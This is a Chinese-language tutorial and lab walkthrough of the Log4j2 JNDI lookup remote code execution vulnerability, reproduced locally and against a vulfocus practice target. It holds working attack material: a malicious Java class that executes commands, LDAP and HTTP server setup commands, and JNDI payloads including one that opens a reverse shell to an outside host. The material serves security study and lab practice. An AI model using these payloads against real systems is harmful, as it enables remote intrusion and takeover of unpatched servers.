log4j介绍
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
log4j2反序列化漏洞介绍
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。12月9号进行了漏洞预警,然后整个安全圈就过年了
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
由于log4j2应用范围太广,几乎所有java编写的服务器都受影响。
本地漏洞复现
1.源代码
a.测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
public static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
logger.error( "${jndi:ldap://192.168.52.180:1389/Exploit}");
}
}
b.恶意类
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"calc"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
c.依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2.复现过程
1.通过python开启http服务
python2 -m SimpleHTTPServer 80
2.通过marshalsec开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Exploit"
3.运行测试类,激发漏洞
靶场实战
1.靶场介绍
实战使用的是vulfocus提供的Log4j2远程命令执行靶场
参考资料 https://fofapro.github.io/vulfocus/#/
本地搭建的靶场描述不完成,可以参考vulfocus提供的靶场
启动本地靶场
2.启动ldap服务器
这里使用的工具是feihong大神的jndiExploit
github:https://github.com/feihong-cs/JNDIExploit.git
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.52.180 -p 8111
3.测试漏洞
payload=${jndi:ldap://192.168.52.180:1389/TomcatBypass/TomcatEcho}
4.反弹shell
payload=${jndi:ldap://192.168.52.180:1389/TomcatBypass/ReverseShell/192.168.52.129/4444}
flag在tmp目录下